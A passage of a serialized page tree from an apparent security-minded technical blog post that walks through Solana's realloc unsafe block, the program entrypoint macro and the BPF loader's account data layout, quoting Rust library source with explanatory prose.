"style":635},[12654],{"type":26,"value":12655},"orig_len",{"type":20,"tag":315,"props":12657,"children":12658},{"style":334},[12659],{"type":26,"value":1432},{"type":20,"tag":315,"props":12661,"children":12662},{"style":328},[12663],{"type":26,"value":12664},"],\n",{"type":20,"tag":315,"props":12666,"children":12667},{"class":317,"line":2070},[12668,12673],{"type":20,"tag":315,"props":12669,"children":12670},{"style":765},[12671],{"type":26,"value":12672}," 0",{"type":20,"tag":315,"props":12674,"children":12675},{"style":328},[12676],{"type":26,"value":643},{"type":20,"tag":315,"props":12678,"children":12679},{"class":317,"line":2139},[12680,12685,12689,12694,12698,12702],{"type":20,"tag":315,"props":12681,"children":12682},{"style":635},[12683],{"type":26,"value":12684}," new_len",{"type":20,"tag":315,"props":12686,"children":12687},{"style":334},[12688],{"type":26,"value":61},{"type":20,"tag":315,"props":12690,"children":12691},{"style":345},[12692],{"type":26,"value":12693},"saturating_sub",{"type":20,"tag":315,"props":12695,"children":12696},{"style":328},[12697],{"type":26,"value":1049},{"type":20,"tag":315,"props":12699,"children":12700},{"style":635},[12701],{"type":26,"value":12655},{"type":20,"tag":315,"props":12703,"children":12704},{"style":328},[12705],{"type":26,"value":5131},{"type":20,"tag":315,"props":12707,"children":12708},{"class":317,"line":2147},[12709],{"type":20,"tag":315,"props":12710,"children":12711},{"style":328},[12712],{"type":26,"value":6139},{"type":20,"tag":315,"props":12714,"children":12715},{"class":317,"line":2177},[12716],{"type":20,"tag":315,"props":12717,"children":12718},{"style":328},[12719],{"type":26,"value":1736},{"type":20,"tag":315,"props":12721,"children":12722},{"class":317,"line":2185},[12723],{"type":20,"tag":315,"props":12724,"children":12725},{"emptyLinePlaceholder":15},[12726],{"type":26,"value":427},{"type":20,"tag":315,"props":12728,"children":12729},{"class":317,"line":2217},[12730,12735],{"type":20,"tag":315,"props":12731,"children":12732},{"style":322},[12733],{"type":26,"value":12734}," Ok",{"type":20,"tag":315,"props":12736,"children":12737},{"style":328},[12738],{"type":26,"value":12739},"(())\n",{"type":20,"tag":315,"props":12741,"children":12742},{"class":317,"line":2225},[12743],{"type":20,"tag":315,"props":12744,"children":12745},{"style":328},[12746],{"type":26,"value":577},{"type":20,"tag":29,"props":12748,"children":12749},{},[12750,12752,12758,12760,12765],{"type":26,"value":12751},"Oh. There's ",{"type":20,"tag":119,"props":12753,"children":12755},{"className":12754},[],[12756],{"type":26,"value":12757},"unsafe",{"type":26,"value":12759},". And no bounds check in sight. ",{"type":20,"tag":55,"props":12761,"children":12762},{},[12763],{"type":26,"value":12764},"And",{"type":26,"value":12766}," pointer math. That doesn't look promising...",{"type":20,"tag":21,"props":12768,"children":12770},{"id":12769},"breaking-down-realloc",[12771,12773],{"type":26,"value":12772},"Breaking down ",{"type":20,"tag":119,"props":12774,"children":12776},{"className":12775},[],[12777],{"type":26,"value":12039},{"type":20,"tag":29,"props":12779,"children":12780},{},[12781,12783,12788],{"type":26,"value":12782},"Let's pick apart this ",{"type":20,"tag":119,"props":12784,"children":12786},{"className":12785},[],[12787],{"type":26,"value":12757},{"type":26,"value":12789}," block, since there's a lot going on here.",{"type":20,"tag":305,"props":12791,"children":12793},{"className":1360,"code":12792,"language":1359,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[12794],{"type":20,"tag":119,"props":12795,"children":12796},{"__ignoreMap":7},[12797,12805,12892],{"type":20,"tag":315,"props":12798,"children":12799},{"class":317,"line":318},[12800],{"type":20,"tag":315,"props":12801,"children":12802},{"style":1071},[12803],{"type":26,"value":12804},"// First set new length in the serialized data\n",{"type":20,"tag":315,"props":12806,"children":12807},{"class":317,"line":356},[12808,12812,12816,12820,12824,12828,12832,12836,12840,12844,12848,12852,12856,12860,12864,12868,12872,12876,12880,12884,12888],{"type":20,"tag":315,"props":12809,"children":12810},{"style":541},[12811],{"type":26,"value":10188},{"type":20,"tag":315,"props":12813,"children":12814},{"style":635},[12815],{"type":26,"value":12258},{"type":20,"tag":315,"props":12817,"children":12818},{"style":334},[12819],{"type":26,"value":1395},{"type":20,"tag":315,"props":12821,"children":12822},{"style":541},[12823],{"type":26,"value":12198},{"type":20,"tag":315,"props":12825,"children":12826},{"style":334},[12827],{"type":26,"value":61},{"type":20,"tag":315,"props":12829,"children":12830},{"style":345},[12831],{"type":26,"value":12275},{"type":20,"tag":315,"props":12833,"children":12834},{"style":328},[12835],{"type":26,"value":12280},{"type":20,"tag":315,"props":12837,"children":12838},{"style":334},[12839],{"type":26,"value":1514},{"type":20,"tag":315,"props":12841,"children":12842},{"style":345},[12843],{"type":26,"value":12289},{"type":20,"tag":315,"props":12845,"children":12846},{"style":328},[12847],{"type":26,"value":12280},{"type":20,"tag":315,"props":12849,"children":12850},{"style":334},[12851],{"type":26,"value":61},{"type":20,"tag":315,"props":12853,"children":12854},{"style":345},[12855],{"type":26,"value":12302},{"type":20,"tag":315,"props":12857,"children":12858},{"style":328},[12859],{"type":26,"value":1049},{"type":20,"tag":315,"props":12861,"children":12862},{"style":334},[12863],{"type":26,"value":478},{"type":20,"tag":315,"props":12865,"children":12866},{"style":765},[12867],{"type":26,"value":2469},{"type":20,"tag":315,"props":12869,"children":12870},{"style":328},[12871],{"type":26,"value":1468},{"type":20,"tag":315,"props":12873,"children":12874},{"style":541},[12875],{"type":26,"value":7238},{"type":20,"tag":315,"props":12877,"children":12878},{"style":334},[12879],{"type":26,"value":8216},{"type":20,"tag":315,"props":12881,"children":12882},{"style":541},[12883],{"type":26,"value":2107},{"type":20,"tag":315,"props":12885,"children":12886},{"style":322},[12887],{"type":26,"value":4253},{"type":20,"tag":315,"props":12889,"children":12890},{"style":328},[12891],{"type":26,"value":1405},{"type":20,"tag":315,"props":12893,"children":12894},{"class":317,"line":365},[12895,12899,12903,12907,12911,12915,12919],{"type":20,"tag":315,"props":12896,"children":12897},{"style":334},[12898],{"type":26,"value":901},{"type":20,"tag":315,"props":12900,"children":12901},{"style":635},[12902],{"type":26,"value":12350},{"type":20,"tag":315,"props":12904,"children":12905},{"style":334},[12906],{"type":26,"value":1395},{"type":20,"tag":315,"props":12908,"children":12909},{"style":635},[12910],{"type":26,"value":12359},{"type":20,"tag":315,"props":12912,"children":12913},{"style":541},[12914],{"type":26,"value":7224},{"type":20,"tag":315,"props":12916,"children":12917},{"style":322},[12918],{"type":26,"value":4253},{"type":20,"tag":315,"props":12920,"children":12921},{"style":328},[12922],{"type":26,"value":1405},{"type":20,"tag":29,"props":12924,"children":12925},{},[12926,12931],{"type":20,"tag":119,"props":12927,"children":12929},{"className":12928},[],[12930],{"type":26,"value":12275},{"type":26,"value":12932}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":20,"tag":219,"props":12934,"children":12936},{"id":12935},"bpf-loader-abi",[12937],{"type":26,"value":12938},"BPF Loader ABI",{"type":20,"tag":29,"props":12940,"children":12941},{},[12942,12944,12949,12951,12964],{"type":26,"value":12943},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":20,"tag":119,"props":12945,"children":12947},{"className":12946},[],[12948],{"type":26,"value":12054},{"type":26,"value":12950},"'s entrypoint code - the code that's added when you use the ",{"type":20,"tag":35,"props":12952,"children":12955},{"href":12953,"rel":12954},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[39],[12956,12962],{"type":20,"tag":119,"props":12957,"children":12959},{"className":12958},[],[12960],{"type":26,"value":12961},"entrypoint!",{"type":26,"value":12963}," macro",{"type":26,"value":2884},{"type":20,"tag":305,"props":12966,"children":12968},{"className":1360,"code":12967,"language":1359,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[12969],{"type":20,"tag":119,"props":12970,"children":12971},{"__ignoreMap":7},[12972,12980,13052,13095,13147,13205,13248,13291,13298],{"type":20,"tag":315,"props":12973,"children":12974},{"class":317,"line":318},[12975],{"type":20,"tag":315,"props":12976,"children":12977},{"style":328},[12978],{"type":26,"value":12979},"#[no_mangle]\n",{"type":20,"tag":315,"props":12981,"children":12982},{"class":317,"line":356},[12983,12987,12992,12997,13002,13006,13011,13015,13019,13023,13027,13031,13036,13040,13044,13048],{"type":20,"tag":315,"props":12984,"children":12985},{"style":541},[12986],{"type":26,"value":12091},{"type":20,"tag":315,"props":12988,"children":12989},{"style":541},[12990],{"type":26,"value":12991}," unsafe",{"type":20,"tag":315,"props":12993,"children":12994},{"style":541},[12995],{"type":26,"value":12996}," extern",{"type":20,"tag":315,"props":12998,"children":12999},{"style":2652},[13000],{"type":26,"value":13001}," \"C\"",{"type":20,"tag":315,"props":13003,"children":13004},{"style":541},[13005],{"type":26,"value":12096},{"type":20,"tag":315,"props":13007,"children":13008},{"style":345},[13009],{"type":26,"value":13010}," entrypoint",{"type":20,"tag":315,"props":13012,"children":13013},{"style":328},[13014],{"type":26,"value":1049},{"type":20,"tag":315,"props":13016,"children":13017},{"style":635},[13018],{"type":26,"value":6763},{"type":20,"tag":315,"props":13020,"children":13021},{"style":334},[13022],{"type":26,"value":2884},{"type":20,"tag":315,"props":13024,"children":13025},{"style":334},[13026],{"type":26,"value":8216},{"type":20,"tag":315,"props":13028,"children":13029},{"style":541},[13030],{"type":26,"value":2107},{"type":20,"tag":315,"props":13032,"children":13033},{"style":322},[13034],{"type":26,"value":13035}," u8",{"type":20,"tag":315,"props":13037,"children":13038},{"style":328},[13039],{"type":26,"value":1468},{"type":20,"tag":315,"props":13041,"children":13042},{"style":334},[13043],{"type":26,"value":12158},{"type":20,"tag":315,"props":13045,"children":13046},{"style":322},[13047],{"type":26,"value":4253},{"type":20,"tag":315,"props":13049,"children":13050},{"style":328},[13051],{"type":26,"value":1092},{"type":20,"tag":315,"props":13053,"children":13054},{"class":317,"line":365},[13055,13059,13063,13068,13072,13077,13081,13086,13090],{"type":20,"tag":315,"props":13056,"children":13057},{"style":541},[13058],{"type":26,"value":1380},{"type":20,"tag":315,"props":13060,"children":13061},{"style":328},[13062],{"type":26,"value":463},{"type":20,"tag":315,"props":13064,"children":13065},{"style":635},[13066],{"type":26,"value":13067},"program_id",{"type":20,"tag":315,"props":13069,"children":13070},{"style":328},[13071],{"type":26,"value":44},{"type":20,"tag":315,"props":13073,"children":13074},{"style":635},[13075],{"type":26,"value":13076},"accounts",{"type":20,"tag":315,"props":13078,"children":13079},{"style":328},[13080],{"type":26,"value":44},{"type":20,"tag":315,"props":13082,"children":13083},{"style":635},[13084],{"type":26,"value":13085},"instruction_data",{"type":20,"tag":315,"props":13087,"children":13088},{"style":328},[13089],{"type":26,"value":1468},{"type":20,"tag":315,"props":13091,"children":13092},{"style":334},[13093],{"type":26,"value":13094},"=\n",{"type":20,"tag":315,"props":13096,"children":13097},{"class":317,"line":374},[13098,13103,13107,13111,13116,13120,13125,13129,13134,13138,13142],{"type":20,"tag":315,"props":13099,"children":13100},{"style":541},[13101],{"type":26,"value":13102}," unsafe",{"type":20,"tag":315,"props":13104,"children":13105},{"style":328},[13106],{"type":26,"value":7985},{"type":20,"tag":315,"props":13108,"children":13109},{"style":334},[13110],{"type":26,"value":8688},{"type":20,"tag":315,"props":13112,"children":13113},{"style":541},[13114],{"type":26,"value":13115},"crate",{"type":20,"tag":315,"props":13117,"children":13118},{"style":334},[13119],{"type":26,"value":1861},{"type":20,"tag":315,"props":13121,"children":13122},{"style":328},[13123],{"type":26,"value":13124},"entrypoint",{"type":20,"tag":315,"props":13126,"children":13127},{"style":334},[13128],{"type":26,"value":1861},{"type":20,"tag":315,"props":13130,"children":13131},{"style":345},[13132],{"type":26,"value":13133},"deserialize",{"type":20,"tag":315,"props":13135,"children":13136},{"style":328},[13137],{"type":26,"value":1049},{"type":20,"tag":315,"props":13139,"children":13140},{"style":635},[13141],{"type":26,"value":6763},{"type":20,"tag":315,"props":13143,"children":13144},{"style":328},[13145],{"type":26,"value":13146},") };\n",{"type":20,"tag":315,"props":13148,"children":13149},{"class":317,"line":383},[13150,13155,13160,13165,13169,13173,13177,13181,13185,13189,13193,13197,13201],{"type":20,"tag":315,"props":13151,"children":13152},{"style":525},[13153],{"type":26,"value":13154}," match",{"type":20,"tag":315,"props":13156,"children":13157},{"style":334},[13158],{"type":26,"value":13159}," $",{"type":20,"tag":315,"props":13161,"children":13162},{"style":635},[13163],{"type":26,"value":13164},"process_instruction",{"type":20,"tag":315,"props":13166,"children":13167},{"style":328},[13168],{"type":26,"value":1049},{"type":20,"tag":315,"props":13170,"children":13171},{"style":334},[13172],{"type":26,"value":1490},{"type":20,"tag":315,"props":13174,"children":13175},{"style":635},[13176],{"type":26,"value":13067},{"type":20,"tag":315,"props":13178,"children":13179},{"style":328},[13180],{"type":26,"value":44},{"type":20,"tag":315,"props":13182,"children":13183},{"style":334},[13184],{"type":26,"value":1490},{"type":20,"tag":315,"props":13186,"children":13187},{"style":635},[13188],{"type":26,"value":13076},{"type":20,"tag":315,"props":13190,"children":13191},{"style":328},[13192],{"type":26,"value":44},{"type":20,"tag":315,"props":13194,"children":13195},{"style":334},[13196],{"type":26,"value":1490},{"type":20,"tag":315,"props":13198,"children":13199},{"style":635},[13200],{"type":26,"value":13085},{"type":20,"tag":315,"props":13202,"children":13203},{"style":328},[13204],{"type":26,"value":549},{"type":20,"tag":315,"props":13206,"children":13207},{"class":317,"line":407},[13208,13213,13218,13223,13227,13231,13235,13239,13243],{"type":20,"tag":315,"props":13209,"children":13210},{"style":322},[13211],{"type":26,"value":13212}," Ok",{"type":20,"tag":315,"props":13214,"children":13215},{"style":328},[13216],{"type":26,"value":13217},"(()) ",{"type":20,"tag":315,"props":13219,"children":13220},{"style":334},[13221],{"type":26,"value":13222},"=>",{"type":20,"tag":315,"props":13224,"children":13225},{"style":334},[13226],{"type":26,"value":13159},{"type":20,"tag":315,"props":13228,"children":13229},{"style":541},[13230],{"type":26,"value":13115},{"type":20,"tag":315,"props":13232,"children":13233},{"style":334},[13234],{"type":26,"value":1861},{"type":20,"tag":315,"props":13236,"children":13237},{"style":328},[13238],{"type":26,"value":13124},{"type":20,"tag":315,"props":13240,"children":13241},{"style":334},[13242],{"type":26,"value":1861},{"type":20,"tag":315,"props":13244,"children":13245},{"style":328},[13246],{"type":26,"value":13247},"SUCCESS,\n",{"type":20,"tag":315,"props":13249,"children":13250},{"class":317,"line":421},[13251,13256,13260,13265,13269,13273,13278,13282,13287],{"type":20,"tag":315,"props":13252,"children":13253},{"style":322},[13254],{"type":26,"value":13255}," Err",{"type":20,"tag":315,"props":13257,"children":13258},{"style":328},[13259],{"type":26,"value":1049},{"type":20,"tag":315,"props":13261,"children":13262},{"style":635},[13263],{"type":26,"value":13264},"error",{"type":20,"tag":315,"props":13266,"children":13267},{"style":328},[13268],{"type":26,"value":1468},{"type":20,"tag":315,"props":13270,"children":13271},{"style":334},[13272],{"type":26,"value":13222},{"type":20,"tag":315,"props":13274,"children":13275},{"style":635},[13276],{"type":26,"value":13277}," error",{"type":20,"tag":315,"props":13279,"children":13280},{"style":334},[13281],{"type":26,"value":61},{"type":20,"tag":315,"props":13283,"children":13284},{"style":345},[13285],{"type":26,"value":13286},"into",{"type":20,"tag":315,"props":13288,"children":13289},{"style":328},[13290],{"type":26,"value":1871},{"type":20,"tag":315,"props":13292,"children":13293},{"class":317,"line":430},[13294],{"type":20,"tag":315,"props":13295,"children":13296},{"style":328},[13297],{"type":26,"value":1736},{"type":20,"tag":315,"props":13299,"children":13300},{"class":317,"line":453},[13301],{"type":20,"tag":315,"props":13302,"children":13303},{"style":328},[13304],{"type":26,"value":577},{"type":20,"tag":29,"props":13306,"children":13307},{},[13308,13310,13315,13317,13323,13325,13332,13334,13340,13342,13349],{"type":26,"value":13309},"What we see here is the contract's real entrypoint - it takes a ",{"type":20,"tag":119,"props":13311,"children":13313},{"className":13312},[],[13314],{"type":26,"value":1802},{"type":26,"value":13316}," buffer in from the loader, and calls ",{"type":20,"tag":119,"props":13318,"children":13320},{"className":13319},[],[13321],{"type":26,"value":13322},"solana_program::entrypoint::deserialize",{"type":26,"value":13324},", which then ",{"type":20,"tag":35,"props":13326,"children":13329},{"href":13327,"rel":13328},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[39],[13330],{"type":26,"value":13331},"parses out",{"type":26,"value":13333}," all the ",{"type":20,"tag":119,"props":13335,"children":13337},{"className":13336},[],[13338],{"type":26,"value":13339},"AccountInfo",{"type":26,"value":13341},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":20,"tag":35,"props":13343,"children":13346},{"href":13344,"rel":13345},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[39],[13347],{"type":26,"value":13348},"laid out",{"type":26,"value":2884},{"type":20,"tag":305,"props":13351,"children":13353},{"className":1360,"code":13352,"language":1359,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[13354],{"type":20,"tag":119,"props":13355,"children":13356},{"__ignoreMap":7},[13357,13374,13454,13487,13494,13542,13587,13595,13619],{"type":20,"tag":315,"props":13358,"children":13359},{"class":317,"line":318},[13360,13365,13369],{"type":20,"tag":315,"props":13361,"children":13362},{"style":328},[13363],{"type":26,"value":13364},"#[allow(clippy",{"type":20,"tag":315,"props":13366,"children":13367},{"style":334},[13368],{"type":26,"value":1861},{"type":20,"tag":315,"props":13370,"children":13371},{"style":328},[13372],{"type":26,"value":13373},"cast_ptr_alignment)]\n",{"type":20,"tag":315,"props":13375,"children":13376},{"class":317,"line":356},[13377,13381,13386,13390,13394,13398,13402,13406,13410,13414,13418,13422,13426,13430,13434,13438,13442,13446,13450],{"type":20,"tag":315,"props":13378,"children":13379},{"style":541},[13380],{"type":26,"value":10188},{"type":20,"tag":315,"props":13382,"children":13383},{"style":635},[13384],{"type":26,"value":13385}," data_len",{"type":20,"tag":315,"props":13387,"children":13388},{"style":334},[13389],{"type":26,"value":1395},{"type":20,"tag":315,"props":13391,"children":13392},{"style":334},[13393],{"type":26,"value":8216},{"type":20,"tag":315,"props":13395,"children":13396},{"style":328},[13397],{"type":26,"value":1049},{"type":20,"tag":315,"props":13399,"children":13400},{"style":635},[13401],{"type":26,"value":6763},{"type":20,"tag":315,"props":13403,"children":13404},{"style":334},[13405],{"type":26,"value":61},{"type":20,"tag":315,"props":13407,"children":13408},{"style":345},[13409],{"type":26,"value":8037},{"type":20,"tag":315,"props":13411,"children":13412},{"style":328},[13413],{"type":26,"value":1049},{"type":20,"tag":315,"props":13415,"children":13416},{"style":635},[13417],{"type":26,"value":12302},{"type":20,"tag":315,"props":13419,"children":13420},{"style":328},[13421],{"type":26,"value":1468},{"type":20,"tag":315,"props":13423,"children":13424},{"style":541},[13425],{"type":26,"value":7238},{"type":20,"tag":315,"props":13427,"children":13428},{"style":334},[13429],{"type":26,"value":8216},{"type":20,"tag":315,"props":13431,"children":13432},{"style":541},[13433],{"type":26,"value":8054},{"type":20,"tag":315,"props":13435,"children":13436},{"style":322},[13437],{"type":26,"value":4253},{"type":20,"tag":315,"props":13439,"children":13440},{"style":328},[13441],{"type":26,"value":1468},{"type":20,"tag":315,"props":13443,"children":13444},{"style":541},[13445],{"type":26,"value":7238},{"type":20,"tag":315,"props":13447,"children":13448},{"style":322},[13449],{"type":26,"value":12132},{"type":20,"tag":315,"props":13451,"children":13452},{"style":328},[13453],{"type":26,"value":1405},{"type":20,"tag":315,"props":13455,"children":13456},{"class":317,"line":365},[13457,13461,13466,13471,13475,13479,13483],{"type":20,"tag":315,"props":13458,"children":13459},{"style":635},[13460],{"type":26,"value":12302},{"type":20,"tag":315,"props":13462,"children":13463},{"style":334},[13464],{"type":26,"value":13465}," +=",{"type":20,"tag":315,"props":13467,"children":13468},{"style":345},[13469],{"type":26,"value":13470}," size_of",{"type":20,"tag":315,"props":13472,"children":13473},{"style":334},[13474],{"type":26,"value":1861},{"type":20,"tag":315,"props":13476,"children":13477},{"style":328},[13478],{"type":26,"value":4199},{"type":20,"tag":315,"props":13480,"children":13481},{"style":322},[13482],{"type":26,"value":6438},{"type":20,"tag":315,"props":13484,"children":13485},{"style":328},[13486],{"type":26,"value":6848},{"type":20,"tag":315,"props":13488,"children":13489},{"class":317,"line":374},[13490],{"type":20,"tag":315,"props":13491,"children":13492},{"emptyLinePlaceholder":15},[13493],{"type":26,"value":427},{"type":20,"tag":315,"props":13495,"children":13496},{"class":317,"line":383},[13497,13501,13506,13510,13515,13519,13524,13529,13533,13537],{"type":20,"tag":315,"props":13498,"children":13499},{"style":541},[13500],{"type":26,"value":10188},{"type":20,"tag":315,"props":13502,"children":13503},{"style":635},[13504],{"type":26,"value":13505}," data",{"type":20,"tag":315,"props":13507,"children":13508},{"style":334},[13509],{"type":26,"value":1395},{"type":20,"tag":315,"props":13511,"children":13512},{"style":322},[13513],{"type":26,"value":13514}," Rc",{"type":20,"tag":315,"props":13516,"children":13517},{"style":334},[13518],{"type":26,"value":1861},{"type":20,"tag":315,"props":13520,"children":13521},{"style":345},[13522],{"type":26,"value":13523},"new",{"type":20,"tag":315,"props":13525,"children":13526},{"style":328},[13527],{"type":26,"value":13528},"(RefCell",{"type":20,"tag":315,"props":13530,"children":13531},{"style":334},[13532],{"type":26,"value":1861},{"type":20,"tag":315,"props":13534,"children":13535},{"style":345},[13536],{"type":26,"value":13523},{"type":20,"tag":315,"props":13538,"children":13539},{"style":328},[13540],{"type":26,"value":13541},"({\n",{"type":20,"tag":315,"props":13543,"children":13544},{"class":317,"line":407},[13545,13550,13554,13558,13562,13566,13570,13574,13579,13583],{"type":20,"tag":315,"props":13546,"children":13547},{"style":345},[13548],{"type":26,"value":13549}," from_raw_parts_mut",{"type":20,"tag":315,"props":13551,"children":13552},{"style":328},[13553],{"type":26,"value":1049},{"type":20,"tag":315,"props":13555,"children":13556},{"style":635},[13557],{"type":26,"value":6763},{"type":20,"tag":315,"props":13559,"children":13560},{"style":334},[13561],{"type":26,"value":61},{"type":20,"tag":315,"props":13563,"children":13564},{"style":345},[13565],{"type":26,"value":8037},{"type":20,"tag":315,"props":13567,"children":13568},{"style":328},[13569],{"type":26,"value":1049},{"type":20,"tag":315,"props":13571,"children":13572},{"style":635},[13573],{"type":26,"value":12302},{"type":20,"tag":315,"props":13575,"children":13576},{"style":328},[13577],{"type":26,"value":13578},"), ",{"type":20,"tag":315,"props":13580,"children":13581},{"style":635},[13582],{"type":26,"value":12207},{"type":20,"tag":315,"props":13584,"children":13585},{"style":328},[13586],{"type":26,"value":380},{"type":20,"tag":315,"props":13588,"children":13589},{"class":317,"line":421},[13590],{"type":20,"tag":315,"props":13591,"children":13592},{"style":328},[13593],{"type":26,"value":13594},"}));\n",{"type":20,"tag":315,"props":13596,"children":13597},{"class":317,"line":430},[13598,13602,13606,13610,13614],{"type":20,"tag":315,"props":13599,"children":13600},{"style":635},[13601],{"type":26,"value":12302},{"type":20,"tag":315,"props":13603,"children":13604},{"style":334},[13605],{"type":26,"value":13465},{"type":20,"tag":315,"props":13607,"children":13608},{"style":635},[13609],{"type":26,"value":13385},{"type":20,"tag":315,"props":13611,"children":13612},{"style":334},[13613],{"type":26,"value":7301},{"type":20,"tag":315,"props":13615,"children":13616},{"style":328},[13617],{"type":26,"value":13618}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":20,"tag":315,"props":13620,"children":13621},{"class":317,"line":453},[13622,13626,13630,13634,13638,13642,13646,13650,13654,13658,13662,13667,13672],{"type":20,"tag":315,"props":13623,"children":13624},{"style":635},[13625],{"type":26,"value":12302},{"type":20,"tag":315,"props":13627,"children":13628},{"style":334},[13629],{"type":26,"value":13465},{"type":20,"tag":315,"props":13631,"children":13632},{"style":328},[13633],{"type":26,"value":463},{"type":20,"tag":315,"props":13635,"children":13636},{"style":635},[13637],{"type":26,"value":12302},{"type":20,"tag":315,"props":13639,"children":13640},{"style":541},[13641],{"type":26,"value":7224},{"type":20,"tag":315,"props":13643,"children":13644},{"style":334},[13645],{"type":26,"value":8216},{"type":20,"tag":315,"props":13647,"children":13648},{"style":541},[13649],{"type":26,"value":8054},{"type":20,"tag":315,"props":13651,"children":13652},{"style":322},[13653],{"type":26,"value":13035},{"type":20,"tag":315,"props":13655,"children":13656},{"style":328},[13657],{"type":26,"value":1509},{"type":20,"tag":315,"props":13659,"children":13660},{"style":334},[13661],{"type":26,"value":61},{"type":20,"tag":315,"props":13663,"children":13664},{"style":345},[13665],{"type":26,"value":13666},"align_offset",{"type":20,"tag":315,"props":13668,"children":13669},{"style":328},[13670],{"type":26,"value":13671},"(BPF_ALIGN_OF_U128); ",{"type":20,"tag":315,"props":13673,"children":13674},{"style":1071},[13675],{"type":26,"value":13676},"// padding\n",{"type":20,"tag":29,"props":13678,"children":13679},{},[13680,13682,13687,13689,13695,13697,13708,13710,13715,13717,13723,13725,13731,13733,13739],{"type":26,"value":13681},"In English, we have the length of the data, as a ",{"type":20,"tag":119,"props":13683,"children":13685},{"className":13684},[],[13686],{"type":26,"value":6438},{"type":26,"value":13688},", followed immediately by the data, and an additional ",{"type":20,"tag":119,"props":13690,"children":13692},{"className":13691},[],[13693],{"type":26,"value":13694},"MAX_PERMITTED_DATA_INCREASE",{"type":26,"value":13696}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":20,"tag":35,"props":13698,"children":13701},{"href":13699,"rel":13700},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[39],[13702],{"type":20,"tag":119,"props":13703,"children":13705},{"className":13704},[],[13706],{"type":26,"value":13707},"slice::from_raw_parts_mut",{"type":26,"value":13709},") - slices are how Rust represents a, well, ",{"type":20,"tag":55,"props":13711,"children":13712},{},[13713],{"type":26,"value":13714},"slice",{"type":26,"value":13716}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":20,"tag":119,"props":13718,"children":13720},{"className":13719},[],[13721],{"type":26,"value":13722},"Rc\u003CRefCell\u003CT>>",{"type":26,"value":13724},", giving us the unwieldy-looking type of ",{"type":20,"tag":119,"props":13726,"children":13728},{"className":13727},[],[13729],{"type":26,"value":13730},"AccountInfo.data",{"type":26,"value":13732},": ",{"type":20,"tag":119,"props":13734,"children":13736},{"className":13735},[],[13737],{"type":26,"value":13738},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":26,"value":61},{"type":20,"tag":29,"props":13741,"children":13742},{},[13743,13745,13752],{"type":26,"value":13744},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":20,"tag":35,"props":13746,"children":13749},{"href":13747,"rel":13748},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[39],[13750],{"type":26,"value":13751},"cloning the referenced account",{"type":26,"value":2884},{"type":20,"tag":305,"props":13754,"children":13756},{"className":1360,"code":13755,"language":1359,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[13757],{"type":20,"tag":119,"props":13758,"children":13759},{"__ignoreMap":7},[13760,13768],{"type":20,"tag":315,"props":13761,"children":13762},{"class":317,"line":318},[13763],{"type":20,"tag":315,"props":13764,"children":13765},{"style":1071},[13766],{"type":26,"value":13767},"// Duplicate account, clone the original\n",{"type":20,"tag":315,"props":13769,"children":13770},{"class":317,"line":356},[13771,13775,13779,13783,13787,13791,13795,13800,13804,13808,13813,13817,13822],{"type":20,"tag":315,"props":13772,"children":13773},{"style":635},[13774],{"type":26,"value":13076},{"type":20,"tag":315,"props":13776,"children":13777},{"style":334},[13778],{"type":26,"value":61},{"type":20,"tag":315,"props":13780,"children":13781},{"style":345},[13782],{"type":26,"value":2200},{"type":20,"tag":315,"props":13784,"children":13785},{"style":328},[13786],{"type":26,"value":1049},{"type":20,"tag":315,"props":13788,"children":13789},{"style":635},[13790],{"type":26,"value":13076},{"type":20,"tag":315,"props":13792,"children":13793},{"style":328},[13794],{"type":26,"value":2117},{"type":20,"tag":315,"props":13796,"children":13797},{"style":635},[13798],{"type":26,"value":13799},"dup_info",{"type":20,"tag":315,"props":13801,"children":13802},{"style":541},[13803],{"type":26,"value":7224},{"type":20,"tag":315,"props":13805,"children":13806},{"style":322},[13807],{"type":26,"value":12132},{"type":20,"tag":315,"props":13809,"children":13810},{"style":328},[13811],{"type":26,"value":13812},"]",{"type":20,"tag":315,"props":13814,"children":13815},{"style":334},[13816],{"type":26,"value":61},{"type":20,"tag":315,"props":13818,"children":13819},{"style":345},[13820],{"type":26,"value":13821},"clone",{"type":20,"tag":315,"props":13823,"children":13824},{"style":328},[13825],{"type":26,"value":13826},"());\n",{"type":20,"tag":29,"props":13828,"children":13829},{},[13830,13832,13837,13839,13844,13846,13851,13853,13858,13859,13865,13867,13872,13874,13886,13888,13893],{"type":26,"value":13831},"Since ",{"type":20,"tag":119,"props":13833,"children":13835},{"className":13834},[],[13836],{"type":26,"value":2085},{"type":26,"value":13838}," inside the 